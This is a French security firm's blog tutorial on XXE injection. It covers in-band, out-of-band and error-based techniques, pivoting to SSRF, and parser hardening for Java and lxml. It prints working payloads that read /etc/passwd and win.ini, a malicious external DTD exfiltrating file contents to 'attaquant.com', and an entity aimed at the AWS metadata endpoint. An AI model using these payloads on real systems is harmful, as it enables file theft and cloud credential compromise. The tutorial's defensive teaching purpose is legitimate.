Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au blog
Owasp 2025-03-10 ⏱️ 14 min

Injection XXE (Entité Externe XML) : techniques aveugles et basées sur l'erreur

Injection XML External Entity (XXE) : Techniques Aveugles et Basées sur les Erreurs

L'injection d'entités externes XML (XXE) est une vulnérabilité critique de la sécurité web qui permet à un attaquant d'interférer avec le traitement des données XML par une application. Souvent négligées lors des évaluations initiales, les vulnérabilités XXE peuvent inévitablement conduire à l'inclusion de fichiers locaux (LFI), à la falsification de requêtes côté serveur (SSRF), à un déni de service (DoS) et à une exfiltration sévère de données.

Dans ce manuel technique approfondi, l'équipe de Cayvora Security décompose la mécanique du XXE, démystifie les techniques d'exploitation aveugles, et fournit des directives définitives sur la sécurisation des parseurs XML en 2025.

Comprendre les Entités XML

XML (eXtensible Markup Language) est un langage de balisage utilisé pour structurer les données. Pour faciliter le contenu dynamique, les "entités" XML agissent comme des variables.

La définition de type de document (DTD) définit la structure du document. À l'intérieur d'une DTD, vous pouvez déclarer des entités externes, qui extraient le contenu d'une URL URI ou d'un chemin de fichier local.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&ext;</productId></stockCheck>

Lorsqu'un analyseur XML traite cette charge utile, il résout l'entité &ext; en récupérant le contenu du fichier /etc/passwd. Si l'application reflète <productId>, l'attaquant récupère les fichiers du système.

Exploitation Réelle : XXE en Bande

C'est le vecteur le plus direct. Le serveur analyse la charge utile et renvoie les données résolues dans la réponse HTTP.

Requête de l'Attaquant :

POST /api/check-stock HTTP/1.1
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///windows/win.ini"> ]>
<stockCheck>
    <productId>&xxe;</productId>
</stockCheck>

Le serveur traite l'entité et divulgue le fichier système.

Techniques Avancées : XXE Aveugle (Blind XXE)

Souvent, l'application traite le XML mais ne reflète aucune partie dans la réponse. L'exploitation du XXE aveugle nécessite des interactions hors bande (OAST) ou l'extraction basée sur les erreurs.

1. XXE Hors Bande (OAST)

L'attaquant héberge un fichier DTD externe (malicieux.dtd) :

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attaquant.com/?data=%file;'>">
%eval;
%exfiltrate;

Le serveur récupère ce DTD malveillant, lit /etc/hostname, et effectue une requête GET HTTP vers le serveur de l'attaquant avec les données volées.

2. XXE Basé sur l'Erreur

L'attaquant utilise un DTD malveillant pour déclencher une erreur "fichier non trouvé", en incorporant le contenu du fichier sensible dans le nom du fichier recherché. L'exception détaillée générée révèle ainsi le contenu du fichier.

Du XXE au SSRF

Le XXE est un vecteur incroyablement puissant pour la falsification de requêtes côté serveur (SSRF).

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>

Dans les environnements AWS, cette charge utile permet de voler les rôles IAM de l'instance cloud, compromettant immédiatement l'infrastructure.

Consultez notre Guide d'Exploitation SSRF.

Prévention et Configurations Sécurisées

La seule façon définitive de prévenir les vulnérabilités XXE est de désactiver explicitement les DTD au sein de votre analyseur XML.

Java :

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Python (lxml) :

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)

Conclusion

L'injection XXE représente une défaillance fondamentale dans la façon dont les langages traitent le XML par défaut. Les équipes de sécurité doivent s'assurer que les bibliothèques sont mises à jour et durcies.

Vos parseurs XML sont-ils sécurisés ?

Les vulnérabilités XXE cachées peuvent exposer votre réseau de manière dévastatrice. Planifiez un test d'intrusion avec Cayvora Security.

📱 Discutez avec nous sur WhatsApp

Besoin d'un audit de sécurité ?

Contactez Cayvora pour une consultation gratuite et protégez votre entreprise contre les cybermenaces.

📱 Contacter via WhatsApp

Articles connexes